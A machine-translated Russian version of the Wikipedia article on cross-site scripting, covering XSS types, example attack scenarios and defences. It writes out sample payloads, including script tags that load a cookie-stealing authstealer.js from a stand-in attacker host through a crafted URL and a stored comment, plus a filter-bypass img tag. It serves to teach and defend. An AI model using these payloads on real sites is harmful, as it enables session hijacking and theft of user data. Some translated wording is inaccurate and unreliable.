Из Википедии, бесплатной энциклопедии
Перейти к навигации Перейти к поиску
"XSS" перенаправляется сюда. Для использования в других целях, см XSS (значения) .

Межсайтовый скриптинг ( XSS ) - это тип уязвимости безопасности, обычно обнаруживаемой в веб-приложениях . XSS-атаки позволяют злоумышленникам внедрять клиентские скрипты в веб-страницы, просматриваемые другими пользователями. Уязвимость межсайтового сценария может использоваться злоумышленниками для обхода средств контроля доступа, таких как политика одного и того же происхождения . Межсайтовые сценарии, выполняемые на веб-сайтах, составляли примерно 84% всех уязвимостей системы безопасности, задокументированных Symantec до 2007 года [1].Эффекты XSS варьируются в диапазоне от мелких неприятностей до значительного риска безопасности, в зависимости от чувствительности данных, обрабатываемых уязвимым сайтом, и характера любых мер безопасности, реализуемых сетью владельца сайта .

Фон [ править ]

Безопасность в Интернете зависит от множества механизмов, включая базовую концепцию доверия, известную как политика одного и того же происхождения. По сути, это означает, что если контенту с одного сайта (например, https://mybank.example1.com ) предоставлено разрешение на доступ к ресурсам (например, cookie и т. Д.) В веб-браузере , то контент с любого URL-адреса с таким же (1) Схема URI, (2) имя хоста и (3) номер порта будут совместно использовать эти разрешения. Контенту из URL-адресов, где любой из этих трех атрибутов отличается, необходимо будет предоставлять разрешения отдельно. [2]

Атаки с использованием межсайтовых сценариев используют известные уязвимости в веб-приложениях, их серверах или подключаемых модулях, на которых они полагаются. Используя один из них, злоумышленники встраивают вредоносный контент в контент, который доставляется с взломанного сайта. Когда результирующий комбинированный контент поступает в веб-браузер на стороне клиента, он все доставляется из надежного источника и, таким образом, работает в соответствии с разрешениями, предоставленными этой системе. Находя способы внедрения вредоносных сценариев на веб-страницы, злоумышленник может получить повышенные права доступа к конфиденциальному содержимому страницы, к файлам cookie сеанса и к разнообразной другой информации, поддерживаемой браузером от имени пользователя. Атаки с использованием межсайтовых сценариев - это случай внедрения кода .

Инженеры по безопасности Microsoft ввели термин «межсайтовый скриптинг» в январе 2000 года. [3] Выражение «межсайтовый скриптинг» первоначально относилось к процессу загрузки атакованного стороннего веб-приложения с несвязанного атакующего сайта, способом, который выполняет фрагмент JavaScript, подготовленный злоумышленником, в контексте безопасности целевого домена (с использованием отраженной или непостоянной уязвимости XSS). Определение постепенно расширялось, чтобы охватывать другие режимы внедрения кода, включая постоянные векторы и векторы, не относящиеся к JavaScript (включая ActiveX , Java , VBScript , Flash, или даже HTML- скрипты), вызывая некоторую путаницу у новичков в области информационной безопасности . [4]

Об уязвимостях XSS сообщалось и они использовались с 1990-х годов. Известные сайты, затронутые в прошлом, включают сайты социальных сетей Twitter , [5] Facebook , [6] MySpace , YouTube и Orkut . [7] [8] С тех пор недостатки межсайтового скриптинга превзошли переполнение буфера и стали наиболее распространенной публично заявленной уязвимостью безопасности [9], при этом некоторые исследователи в 2007 году оценили, что 68% веб-сайтов, вероятно, открыты для XSS-атак. [10]

Типы [ править ]

Не существует единой стандартизированной классификации недостатков межсайтового скриптинга, но большинство экспертов различают по крайней мере два основных вида недостатков XSS: непостоянные и постоянные . Некоторые источники дополнительно делят эти две группы на традиционные (вызванные недостатками кода на стороне сервера) и основанные на DOM (в коде на стороне клиента).

Непостоянный (отраженный) [ править ]

Пример непостоянной ошибки XSS
Неустойчивые XSS-уязвимости в Google могут позволить вредоносным сайтам атаковать пользователей Google, которые посещают их во время входа в систему. [11]

Непостоянные (или отражение ) межсайтовые сценарии уязвимость на сегодняшний день является наиболее основным типом веб - уязвимости. [12] Эти дыры появляются, когда данные, предоставляемые веб-клиентом, чаще всего в параметрах HTTP-запроса (например, отправка HTML-формы), немедленно используются серверными скриптами для анализа и отображения страницы результатов для этого пользователя и для него. , без надлежащей очистки содержимого. [13]

Поскольку HTML-документы имеют плоскую последовательную структуру, в которой смешиваются управляющие операторы, форматирование и фактическое содержимое, любые непроверенные данные, предоставленные пользователем, включенные в результирующую страницу без надлежащей кодировки HTML, могут привести к внедрению разметки. [12] [13] Классическим примером потенциального вектора является поисковая машина по сайту: если кто-то ищет строку, строка поиска обычно дословно повторно отображается на странице результатов, чтобы указать, что искали. Если этот ответ не экранирует или не отклоняет управляющие символы HTML должным образом , возникает ошибка межсайтового скриптинга. [14]

Отраженная атака обычно доставляется по электронной почте или через нейтральный веб-сайт. Приманка - это невинно выглядящий URL-адрес, указывающий на надежный сайт, но содержащий вектор XSS. Если доверенный сайт уязвим для вектора, нажатие на ссылку может заставить браузер жертвы выполнить внедренный скрипт.

Постоянный (или сохраненный) [ править ]

Пример постоянной ошибки XSS
Постоянная уязвимость межзонального сценария в сочетании с компьютерным червем позволяла выполнять произвольный код и выводить список содержимого файловой системы через фильм QuickTime на MySpace . [15]

Стойкая (или сохранено ) XSS уязвимость является более разрушительными вариантами сценариев межсайтового недостатка: это происходит , когда данные , предоставленные атакующим сохраняются на сервере, а затем постоянно отображаются на «нормальные» страницах , возвращенных другие пользователь в при обычном просмотре без надлежащего экранирования HTML. Классический пример этого - онлайн-доски объявлений, где пользователям разрешено публиковать сообщения в формате HTML, чтобы их могли прочитать другие пользователи. [13]

Например, предположим, что есть сайт знакомств, участники которого просматривают профили других участников, чтобы узнать, интересны ли они. По соображениям конфиденциальности этот сайт скрывает настоящее имя и адрес электронной почты каждого. Они хранятся в секрете на сервере. Единственный раз, когда настоящее имя и адрес электронной почты участника отображаются в браузере, - это когда участник вошел в систему и не может видеть чужие.

Предположим, что злоумышленник Мэллори присоединяется к сайту и хочет выяснить настоящие имена людей, которых он видит на сайте. Для этого она пишет сценарий, предназначенный для запуска из браузеров других пользователей, когда они посещают ее профиль. Затем сценарий отправляет быстрое сообщение на ее собственный сервер, который собирает эту информацию.

Для этого на вопрос «Опишите свое идеальное первое свидание» Мэллори дает короткий ответ (чтобы он выглядел нормально), но текст в конце ее ответа - это ее сценарий кражи имен и электронных писем. Если сценарий заключен внутри <script>элемента, он не будет отображаться на экране. Затем предположим, что Боб, участник сайта знакомств, заходит в профиль Мэллори, в котором есть ее ответ на вопрос «Первое свидание». Ее сценарий автоматически запускается браузером и крадет копию настоящего имени и адреса электронной почты Боба прямо с его компьютера.

Устойчивые уязвимости XSS могут быть более значительными, чем другие типы, потому что вредоносный сценарий злоумышленника отображается автоматически, без необходимости индивидуального нацеливания жертв или заманивания их на сторонний веб-сайт. В частности, в случае сайтов социальных сетей, код будет дополнительно разработан для самораспространения между учетными записями, создавая тип клиентского червя . [16]

Способы инъекции могут сильно различаться; в некоторых случаях злоумышленнику может даже не потребоваться напрямую взаимодействовать с самими веб-функциями, чтобы воспользоваться такой дырой. Любые данные, полученные веб-приложением (через электронную почту, системные журналы, мгновенные сообщения и т. Д.), Которые могут контролироваться злоумышленником, могут стать вектором внедрения.

Уязвимости на стороне сервера и уязвимости на основе DOM [ править ]

Пример недостатка XSS на основе DOM
Прежде чем ошибка была исправлена, страницы ошибок Bugzilla были открыты для XSS-атак на основе DOM, в которых можно было внедрить произвольный HTML-код и сценарии с использованием принудительных сообщений об ошибках. [17]

Исторически XSS-уязвимости были впервые обнаружены в приложениях, которые выполняли всю обработку данных на стороне сервера. Пользовательский ввод (включая вектор XSS) будет отправлен на сервер, а затем отправлен обратно пользователю в виде веб-страницы. Потребность в улучшении взаимодействия с пользователем привела к популярности приложений, в которых большая часть логики представления (возможно, написанная на JavaScript ) работала на стороне клиента, которая извлекала данные по запросу с сервера с помощью AJAX .

Поскольку код JavaScript также обрабатывал вводимые пользователем данные и отображал их в содержимом веб-страницы, начал появляться новый подкласс отраженных атак XSS, который получил название межсайтовых сценариев на основе DOM . При атаке XSS на основе DOM вредоносные данные не попадают на веб-сервер. Скорее, это полностью отражается в коде JavaScript на стороне клиента. [18]

Примером XSS-уязвимости на основе DOM является ошибка, обнаруженная в 2011 году в ряде подключаемых модулей jQuery . [19] Стратегии предотвращения атак XSS на основе DOM включают меры, очень похожие на традиционные стратегии предотвращения XSS, но реализованные в коде JavaScript и содержащиеся на веб-страницах (т. Е. Проверка ввода и экранирование). [20] Некоторые фреймворки JavaScript имеют встроенные средства противодействия этому и другим типам атак - например, AngularJS . [21]

Self-XSS [ править ]

Self-XSS - это форма XSS-уязвимости, которая использует методы социальной инженерии , чтобы заставить жертву выполнить вредоносный код JavaScript в своем браузере. Хотя технически это не настоящая XSS-уязвимость из-за того, что она полагается на социальную инженерию пользователя для выполнения кода, а не на ошибку в уязвимом веб-сайте, позволяющую злоумышленнику сделать это, она по-прежнему представляет те же риски, что и обычная уязвимость XSS, если правильно выполнен. [22]

Мутировавший XSS (mXSS) [ править ]

Мутировавший XSS возникает, когда злоумышленник внедряет что-то, казалось бы, безопасное, но переписанное и измененное браузером во время анализа разметки. Это делает чрезвычайно трудным обнаружение или дезинфекцию в логике приложения веб-сайта. Примером является изменение баланса незакрытых кавычек или даже добавление кавычек к параметрам без кавычек в параметрах семейства шрифтов CSS.

Примеры использования [ править ]

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Для каждого класса здесь описан конкретный вектор атаки. Приведенные ниже имена являются техническими терминами, взятыми из набора персонажей Алисы и Боба, обычно используемых в компьютерной безопасности.

Структура использования браузера может использоваться для атаки на веб-сайт и локальную среду пользователя.

Непостоянный [ править ]

  1. Алиса часто посещает определенный веб-сайт, который обслуживает Боб. Веб-сайт Боба позволяет Алисе войти в систему с парой имени пользователя и пароля и хранит конфиденциальные данные, такие как платежная информация. Когда пользователь входит в систему, браузер сохраняет файл cookie авторизации, который выглядит как несколько случайных символов, поэтому оба компьютера (клиент и сервер) имеют запись о том, что он вошел в систему.
  2. Мэллори отмечает, что веб-сайт Боба содержит отраженную уязвимость XSS:
    1. Когда она посещает страницу поиска, она вводит поисковый запрос в поле поиска и нажимает кнопку отправки. Если результатов не найдено, на странице будет отображаться искомый термин, за которым следуют слова «не найден» и будет указан URL-адрес http://bobssite.org/search?q=her%20search%20term.
    2. При обычном поисковом запросе, таком как слово « щенки », на странице просто отображается « щенки не найдены», а URL-адрес - «http://bobssite.org/search ? Q = puppies », что является совершенно нормальным поведением.
    3. Однако, когда она отправляет ненормальный поисковый запрос, например " ",<script type='application/javascript'>alert('xss');</script>
      1. Появится окно с предупреждением (с надписью «xss»).
      2. На странице отображается «не найдено» вместе с сообщением об ошибке с текстом «xss».
      3. URL-адрес: " - поведение, которое можно использовать.http://bobssite.org/search?q=<script%20type='application/javascript'>alert('xss');</script>
  3. Мэллори создает URL-адрес для использования уязвимости:
    1. Она делает URL . Она могла выбрать кодирование символов ASCII с процентным кодированием , например , чтобы человек, читающий книгу, не мог сразу же расшифровать вредоносный URL. [23]http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
    2. Она отправляет электронное письмо некоторым ничего не подозревающим участникам сайта Боба, говоря: «Посмотрите на симпатичных щенков!»
  4. Алиса получает электронное письмо. Она любит щенков и переходит по ссылке. Он переходит на веб-сайт Боба для поиска, ничего не находит и отображает «щенки не найдены», но прямо посередине запускается тег скрипта (он невидим на экране), а также загружает и запускает программу Мэллори authstealer.js (запускает XSS-атака). Алиса забывает об этом.
  5. Программа authstealer.js запускается в браузере Алисы, как если бы она была создана с веб-сайта Боба. Он захватывает копию файла cookie авторизации Алисы и отправляет ее на сервер Мэллори, где Мэллори извлекает ее.
  6. Мэллори теперь помещает файл cookie авторизации Алисы в свой браузер, как если бы он был ее собственным. Затем она переходит на сайт Боба и теперь входит в систему как Алиса.
  7. Теперь, когда она зашла, Мэллори переходит в раздел «Биллинг» на веб-сайте, ищет номер кредитной карты Алисы и берет копию. Затем она меняет свой пароль, чтобы Алиса больше не могла войти в систему.
  8. Она решает пойти дальше и отправляет созданную аналогично ссылку самому Бобу, тем самым получая права администратора на веб-сайт Боба.

Чтобы смягчить эту атаку, можно было сделать несколько вещей:

  1. Вход для поиска можно было бы очистить, что включало бы правильную проверку кодировки.
  2. Веб-сервер может быть настроен на перенаправление недействительных запросов.
  3. Веб-сервер может обнаружить одновременный вход в систему и аннулировать сеансы.
  4. Веб-сервер может обнаруживать одновременный вход с двух разных IP-адресов и аннулировать сеансы.
  5. Веб-сайт может отображать только последние несколько цифр ранее использованной кредитной карты.
  6. Веб-сайт может потребовать от пользователей еще раз ввести свои пароли перед изменением регистрационной информации.
  7. Веб-сайт может вводить в действие различные аспекты Политики безопасности контента .
  8. Установите cookie с HttpOnlyфлагом для предотвращения доступа из JavaScript.

<script> alert (document.cookie) </script>

Постоянная атака [ править ]

  1. Мэллори получает аккаунт на сайте Боба.
  2. Мэллори отмечает, что веб-сайт Боба содержит сохраненную уязвимость XSS: если кто-то зайдет в раздел новостей и разместит комментарий, на сайте отобразится все, что было введено. Если текст комментария содержит теги HTML, они будут добавлены в исходный код веб-страницы; в частности, любые теги скрипта будут запускаться при загрузке страницы.
  3. Мэллори читает статью в разделе новостей и вводит комментарий:
    I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
  4. Когда Алиса (или кто-либо другой) загружает страницу с комментарием, тег сценария Мэллори запускается и крадет файл cookie авторизации Алисы, отправляя его на секретный сервер Мэллори для сбора. [23]
  5. Теперь Мэллори может захватить сеанс Алисы и выдать себя за Алису. [24] [23]

Программное обеспечение веб-сайта Боба должно было удалить тег сценария или сделать что-нибудь, чтобы убедиться, что он не работает; ошибка безопасности заключается в том, что он этого не сделал.

Профилактические меры [ править ]

Контекстное кодирование вывода / экранирование строкового ввода [ править ]

Контекстное кодирование / экранирование вывода можно использовать в качестве основного механизма защиты для предотвращения атак XSS. Существует несколько схем экранирования, которые могут использоваться в зависимости от того, где в HTML-документе должна быть помещена ненадежная строка, включая кодировку объекта HTML, экранирование JavaScript, экранирование CSS и кодировку URL (или процентного соотношения) . [25] Большинство веб-приложений, которым не требуется принимать расширенные данные, могут использовать экранирование, чтобы в значительной степени устранить риск XSS-атак довольно простым способом.

Хотя широко рекомендуется, выполнение кодирования объекта HTML только для пяти значимых символов XML не всегда достаточно для предотвращения многих форм XSS-атак. Поскольку кодирование часто бывает сложным, библиотеки кодирования безопасности обычно проще в использовании. [25]

Некоторые системы веб-шаблонов понимают структуру создаваемого HTML и автоматически выбирают соответствующий кодировщик. [26] [27] [28] Однако даже с системой шаблонов важно не помещать ненадежные данные в атрибуты без кавычек, HREF-атрибуты гиперссылок, встроенные обработчики событий DOM или другие подобные контексты, где выполнение сценария возможно напрямую. [29]

Безопасная проверка ненадежного ввода HTML [ править ]

Многие операторы определенных веб-приложений (например, форумов и веб-почты) позволяют пользователям использовать ограниченное подмножество разметки HTML. При приеме ввода HTML от пользователей (скажем, <b>very</b> large) выходной кодировки (например, &lt;b&gt;very&lt;/b&gt; large) будет недостаточно, поскольку пользовательский ввод должен отображаться браузером как HTML (поэтому он отображается как « очень большой», а не «<b> очень </b> большой "). В этой ситуации гораздо сложнее остановить XSS-атаку при приеме ввода HTML от пользователей. Ненадежный ввод HTML должен проходить через механизм очистки HTML, чтобы убедиться, что он не содержит кода XSS.

Многие проверки полагаются на разбор (занесение в черный список) определенных HTML-тегов "риска", таких как следующие

< скрипт >  < ссылка >  < iframe >

У этого подхода есть несколько проблем, например, иногда могут быть исключены кажущиеся безобидными теги, которые при правильном использовании все равно могут привести к XSS-атаке.

(см. пример ниже) 

< img  src = "javascript: alert (1)" >

Другим популярным методом является удаление пользовательского ввода "и", однако это также можно обойти, поскольку полезная нагрузка может быть скрыта с помощью обфускации (см. Эту ссылку [1] для крайнего примера этого).

Безопасность файлов cookie [ править ]

Помимо фильтрации содержимого, также часто используются другие несовершенные методы устранения межсайтовых сценариев. Одним из примеров является использование дополнительных мер безопасности при обработке аутентификации пользователя на основе файлов cookie . Многие веб-приложения полагаются на файлы cookie сеанса для аутентификации между отдельными HTTP-запросами, и поскольку клиентские скрипты обычно имеют доступ к этим файлам cookie, простые эксплойты XSS могут украсть эти файлы cookie. [30] Чтобы смягчить эту конкретную угрозу (хотя и не проблему XSS в целом), многие веб-приложения связывают файлы cookie сеанса с IP-адресом пользователя, который первоначально вошел в систему, а затем разрешают только этому IP-адресу использовать этот файл cookie. [31]Это эффективно в большинстве случаев (если злоумышленник только после того, как куки), но , очевидно , ломается в ситуациях , когда злоумышленник находится за тот же NAT , IP - адрес или веб - прокси в качестве жертвы, или жертва меняет свой мобильный IP . [31]

Еще одно снижение риска, присутствующее в Internet Explorer (начиная с версии 6), Firefox (начиная с версии 2.0.0.5), Safari (начиная с версии 4), Opera (начиная с версии 9.5) и Google Chrome , представляет собой флаг HttpOnly, который позволяет веб-серверу устанавливать cookie, недоступный для клиентских скриптов. Несмотря на то, что эта функция полезна, она не может полностью предотвратить кражу файлов cookie или предотвратить атаки внутри браузера. [32]

Отключение скриптов [ править ]

Хотя разработчики Web 2.0 и Ajax требуют использования JavaScript [33], некоторые веб-приложения написаны для обеспечения работы без необходимости использования каких-либо клиентских скриптов. [34] Это позволяет пользователям, если они захотят, отключить скрипты в своих браузерах перед использованием приложения. Таким образом, даже потенциально вредоносные клиентские скрипты могут быть вставлены на страницу без экранирования, и пользователи не будут подвержены XSS-атакам.

Некоторые браузеры или плагины для браузеров можно настроить так, чтобы отключать клиентские скрипты для отдельных доменов. Этот подход имеет ограниченную ценность, если скрипты разрешены по умолчанию, поскольку он блокирует плохие сайты только после того, как пользователь узнает, что они плохие, а это уже слишком поздно. Функциональность, которая по умолчанию блокирует все сценарии и внешние включения, а затем позволяет пользователю включать их для каждого домена, более эффективна. Это было возможно в течение долгого времени в Internet Explorer (начиная с версии 4) путем настройки его так называемых «зон безопасности» [35] и в Opera (начиная с версии 9) с использованием его «специфических настроек сайта». [36] Решением для Firefox и других браузеров на базе Gecko является NoScript с открытым исходным кодом.надстройка, которая, помимо возможности включения сценариев для отдельных доменов, обеспечивает некоторую защиту от XSS даже при включенных сценариях. [37]

Самая серьезная проблема с блокировкой всех сценариев на всех веб-сайтах по умолчанию - это существенное снижение функциональности и скорости отклика (сценарии на стороне клиента могут быть намного быстрее, чем сценарии на стороне сервера, потому что не требуется подключаться к удаленному серверу и странице или фрейму). перезагружать не нужно). [38] Еще одна проблема с блокировкой скриптов заключается в том, что многие пользователи не понимают ее и не знают, как правильно защитить свои браузеры. Еще один недостаток заключается в том, что многие сайты не работают без сценариев на стороне клиента, вынуждая пользователей отключать защиту для этого сайта и открывая свои системы для уязвимостей. [39]Расширение Firefox NoScript позволяет пользователям выборочно разрешать сценарии с данной страницы, запрещая другие на той же странице. Например, скрипты с example.com могут быть разрешены, а скрипты с сайта Advertisingagency.com, которые пытаются запустить на той же странице, могут быть запрещены. [40]

Выборочное отключение скриптов [ править ]

Content-Security-Policy [41] (CSP) позволяет HTML-документам отключать одни скрипты, оставляя другие включенными. Браузер проверяет каждый сценарий на соответствие политике, прежде чем решить, запускать ли его. Пока политика разрешает только надежные сценарии и запрещает динамическую загрузку кода , браузер не будет запускать программы от ненадежных авторов независимо от структуры HTML-документа.

Это перекладывает бремя безопасности на авторов политики. Исследования [42] поставили под сомнение эффективность политик на основе белых списков хостов.

В целом, мы обнаружили, что 94,68% политик, которые пытаются ограничить выполнение скриптов, неэффективны, и что 99,34% хостов с CSP используют политики, которые не дают преимуществ перед XSS.

Современные [43] политики CSP позволяют использовать одноразовые номера [44] для пометки сценариев в HTML-документе как безопасных для запуска вместо того, чтобы полностью отделять политику от содержимого страницы. Пока доверенные одноразовые номера появляются только в надежных сценариях, браузер не будет запускать программы от ненадежных авторов. Некоторые крупные поставщики приложений сообщают об успешном развертывании политик на основе nonce. [45] [46]

Новые защитные технологии [ править ]

Популярность клиентских фреймворков изменила то, как злоумышленники создают XSS. [47]

Гаджеты-скрипты - это законные фрагменты JavaScript в пределах допустимой базы кода приложения… Мы демонстрируем, что эти гаджеты вездесущи почти во всех современных средах JavaScript, и представляем эмпирическое исследование, показывающее преобладание гаджетов-скриптов в продуктивном коде. В результате мы предполагаем, что большинство методов снижения рисков в написанных сегодня веб-приложениях можно обойти.

Доверенные типы [48] изменяют веб-API для проверки того, что значения были зарегистрированы как доверенные. Пока в программах используются только достоверные торговые марки, злоумышленник, контролирующий строковое значение JavaScript, не может вызвать XSS. Доверенные типы предназначены для проверяемых на синих командах .

Другой подход к защите заключается в использовании автоматизированных инструментов, которые удаляют вредоносный код XSS на веб-страницах. Эти инструменты используют статический анализ и / или методы сопоставления с образцом для потенциального выявления вредоносных кодов и их защиты с помощью таких методов, как экранирование. [49]

Параметр cookie SameSite [ править ]

Если файл cookie установлен с параметром SameSite = Strict, он удаляется из всех запросов между источниками. Когда установлено SameSite = Lax, он удаляется из всех небезопасных запросов между источниками (то есть запросов, отличных от GET, OPTIONS и TRACE, которые имеют семантику только для чтения). [50] Эта функция реализована в Google Chrome с версии 63 и Firefox с версии 60. [51]

Связанные уязвимости [ править ]

В атаке универсального межсайтового скриптинга ( UXSS или Universal XSS ) используются уязвимости в самом браузере или в плагинах браузера (а не в уязвимостях других веб-сайтов, как в случае с XSS-атаками). [52] [53]

С XSS связаны несколько классов уязвимостей или техник атак: межзональный скриптинг использует концепции «зон» в определенных браузерах и обычно выполняет код с более высокими привилегиями. [54] [55] Внедрение HTTP-заголовка может использоваться для создания условий межсайтового скриптинга из-за проблем с экранированием на уровне протокола HTTP (в дополнение к разрешению атак, таких как разделение HTTP-ответа ). [56]

Подделка межсайтовых запросов (CSRF / XSRF) почти противоположна XSS, поскольку вместо того, чтобы использовать доверие пользователя к сайту, злоумышленник (и его вредоносная страница) использует доверие сайта к клиентскому программному обеспечению, отправляя запросы, которые сайт считает, что это сознательные и преднамеренные действия аутентифицированных пользователей. [57] Уязвимости XSS (даже в других приложениях, работающих в том же домене) позволяют злоумышленникам обойти усилия по предотвращению CSRF. [58]

Скрытое перенаправление использует преимущества сторонних клиентов, восприимчивых к атакам XSS или Open Redirect. [59] Обычные попытки фишинга легко обнаружить, поскольку URL-адрес вредоносной страницы обычно на пару букв отличается от URL-адреса реального сайта. Отличие от скрытого перенаправления заключается в том, что злоумышленник может вместо этого использовать настоящий веб-сайт, повредив его с помощью вредоносного всплывающего диалогового окна входа в систему. [60]

Наконец, SQL-инъекция использует уязвимость на уровне базы данных приложения. Если вводимые пользователем данные неправильно отфильтрованы, приложение может выполнять любые операторы SQL. [61] [62]

Конкретные XSS, которые влияют на данную версию веб-браузера, как правило, уникальны. Следовательно, можно использовать XSS для определения производителя браузера и версии пользователя. [63]

См. Также [ править ]

  • Безопасность веб-приложений
  • Интернет-безопасность
  • Внешний объект XML
  • Безопасность браузера
  • Metasploit Project , инструмент для тестирования на проникновение с открытым исходным кодом, который включает тесты для XSS.
  • w3af , сканер безопасности веб-приложений с открытым исходным кодом
  • DOMPurify, бесплатная библиотека с открытым исходным кодом от Cure53 для снижения уязвимости веб-сайтов к XSS-уязвимостям.
  • Обмен сообщениями между документами
  • Сами (компьютерный червь)
  • Проверка параметров

Ссылки [ править ]

  1. ^ Во второй половине 2007 г. с помощью XSSed было задокументировано 11 253 межсайтовых уязвимостей, по сравнению с 2134 «традиционными» уязвимостями, задокументированными Symantec в « Отчете об угрозах безопасности в Интернете Symantec: тенденции за июль – декабрь 2007 г. " (PDF) . XIII . Symantec Corp. Апрель 2008 г.: 1–3. Архивировано из оригинального (PDF) 25 июня 2008 года . Проверено 11 мая 2008 года . Цитировать журнал требует |journal=( помощь )
  2. ^ «Та же политика происхождения - веб-безопасность. W3.org» . Проверено 4 ноября 2014 года .
  3. ^ "dross" на MSDN (15 декабря 2009 г.). «С 10-летием создания межсайтовых скриптов!» . Проверено 19 марта 2016 года . 16 января 2000 г. среди небольшой группы инженеров по безопасности Microsoft были предложены следующие имена: [...] На следующий день был достигнут консенсус - межсайтовый скриптинг.
  4. ↑ Гроссман, Иеремия (30 июля 2006 г.). «Истоки межсайтового скриптинга (XSS)» . Проверено 15 сентября 2008 года .
  5. ↑ Артур, Чарльз (21 сентября 2010 г.). «Пользователи Twitter, включая Сару Браун, подверглись злонамеренной хакерской атаке» . Хранитель . Проверено 21 сентября 2010 года .
  6. ↑ Лейден, Джон (23 мая 2008 г.). «Facebook обнаружил недостаток XSS» . Реестр . Проверено 28 мая 2008 года .
  7. ^ «Полный список происшествий» . Консорциум безопасности веб-приложений. 17 февраля 2008 . Проверено 28 мая 2008 года .
  8. ^ Dignan Ларри (21 апреля 2008). «Сайт Обамы взломан; перенаправлен на Хиллари Клинтон» . ZDNet . Проверено 28 мая 2008 года .
  9. ^ Кристи, Стив; Мартин, Роберт А. (22 мая 2007 г.). «Распределение типов уязвимостей в CVE (версия 1.1)» . Корпорация МИТЕР . Проверено 7 июня 2008 года .
  10. ^ Berinato, Скотт (1 января 2007). «Раскрытие уязвимости программного обеспечения: пугающий эффект» . ОГО . CXO Media . п. 7. Архивировано из оригинала 18 апреля 2008 года . Проверено 7 июня 2008 года .
  11. ↑ Амит, Яир (21 декабря 2005 г.). "Уязвимости Google.com UTF-7 XSS" . Watchfire . Проверено 29 мая 2008 года .
  12. ^ a b Пако, Надежда; Вальтер, Бен (2008). Поваренная книга по тестированию веб-безопасности . Севастополь, Калифорния: O'Reilly Media, Inc. стр. 128 . ISBN 978-0-596-51483-9.
  13. ^ a b c «Межсайтовый скриптинг» . Консорциум безопасности веб-приложений. 2005 . Проверено 28 мая 2008 года .
  14. ^ Гроссман, Иеремия; Хансен, Роберт; Фоги, Сет; Петков, Петко Д .; Рейджер, Антон (2007). XSS-атаки: эксплойты межсайтового скриптинга и защита (аннотация) . С. 70, 156. ISBN 978-1-59749-154-9. Проверено 28 мая 2008 года .
  15. ^ Этот червь называется JS / Ofigel-A, JS / Quickspace.A и JS.Qspace в "JS / Ofigel-A" . Sophos. Архивировано из оригинала 2 августа 2009 года . Проверено 5 июня 2008 года . и «Информационные страницы F-Secure Malware: JS / Quickspace.A» . F-Secure. 5 января 2007 . Проверено 5 июня 2008 года .и "JS.Qspace" . Корпорация Symantec 13 февраля 2007 . Проверено 5 июня 2008 года .
  16. ↑ Вирусы и черви в Алкорне, Уэйд (27 сентября 2005 г.). «Вирус межсайтового скриптинга» . BindShell.net. Архивировано из оригинального 16 мая 2008 года . Проверено 27 мая 2008 года .и Гроссман, Иеремия (ноябрь 2020 г.). «Черви и вирусы межсайтового скриптинга: надвигающаяся угроза и лучшая защита» . WhiteHat Security. п. 20 . Проверено 6 июня 2008 года .[ постоянная мертвая ссылка ]
  17. ^ «Ошибка 272620 - XSS-уязвимость во внутренних сообщениях об ошибках» . Bugzilla @ Mozilla. 2004 . Проверено 29 мая 2008 года .
  18. ^ "XSS на основе DOM" . OWASP.
  19. ^ "Ошибка JQuery № 9521" . 2011 г.
  20. ^ "Шпаргалка по предотвращению XSS на основе DOM" . OWASP.
  21. ^ «Строгий контекстный уход» . Angular.js.
  22. ^ «Self-XSS Facebook мошенничество пытается заставить пользователей взломать самих себя» . www.majorgeeks.com . 29 июля 2014 . Проверено 20 сентября 2016 года .
  23. ^ a b c Лакшманан Ганапати (16 февраля 2012 г.). «Примеры атак XSS (атаки с использованием межсайтовых сценариев)» . www.thegeekstuff.com .
  24. ^ Brodkin, Джон (4 октября 2007). «10 основных причин взлома веб-сайтов» . Сетевой мир . IDG . Проверено 6 февраля 2017 года .
  25. ^ a b Уильямс, Джефф (19 января 2009 г.). «Шпаргалка по предотвращению XSS (межсайтового скриптинга)» . OWASP . Проверено 4 февраля 2010 года .
  26. ^ "шаблон - Язык программирования Go" . golang.org . Проверено 1 мая 2019 года .
  27. ^ "Разработчики Google" . Разработчики Google . Проверено 1 мая 2019 года .
  28. ^ "мопс-плагин-доверенные-типы" . npm . Проверено 1 мая 2019 года .
  29. ^ «XSS-атаки и предотвращение: Руководство разработчика» . appsecmonkey.com . Проверено 24 февраля 2021 года .
  30. ↑ Шарма, Ананд (3 февраля 2004 г.). «Предотвратить атаку межсайтового скриптинга» . IBM . Проверено 29 мая 2008 года .
  31. ^ a b «ModSecurity: Особенности: Универсальная защита PDF от XSS» . Нарушение безопасности. Архивировано из оригинального 23 марта 2008 года . Проверено 6 июня 2008 года .
  32. ^ «Безопасность Ajax и Mashup» . OpenAjax Alliance. Архивировано из оригинала 3 апреля 2008 года . Проверено 9 июня 2008 года .
  33. ↑ О'Рейли, Тим (30 сентября 2005 г.). «Что такое Web 2.0» . O'Reilly Media. С. 4–5 . Проверено 4 июня 2008 года .
  34. ^ "Страница должна работать, даже если в деградированном виде, без JavaScript." в Замметти, Франк (16 апреля 2007 г.). Практические проекты JavaScript, DOM Scripting и Ajax через Amazon Reader . Апресс. п. 36. ISBN 978-1-59059-816-0. Проверено 4 июня 2008 года .
  35. ^ «Как использовать зоны безопасности в Internet Explorer» . Microsoft. 18 декабря 2007 . Проверено 4 июня 2008 года .
  36. ^ Ли, Хокон Wium (7 февраля 2006). "Opera 9 Technology Preview 2" . Программное обеспечение Opera. Архивировано из оригинала на 17 мая 2008 года . Проверено 4 июня 2008 года .
  37. ^ "NoScript" . Mozilla. 30 мая 2008 . Проверено 4 июня 2008 года .и Могулл, Рич (18 марта 2008 г.). «Следует ли пользователям Mac запускать антивирусное программное обеспечение?» . TidBITS . Издательство TidBITS . Проверено 4 июня 2008 года .
  38. ^ « « Использование событий на стороне клиента »в Руководстве программиста DataWindow» . Sybase. Март 2003. Архивировано из оригинала 18 июня 2008 года . Проверено 4 июня 2008 года .
  39. ^ 73% сайтов полагались на JavaScript в конце 2006 года, в « „ Большинство веб - сайтов“неудовлетворительную» отключен . BBC News . 6 декабря 2006 . Проверено 4 июня 2008 года .
  40. ^ «Особенности NoScript» . Проверено 7 марта 2009 года .
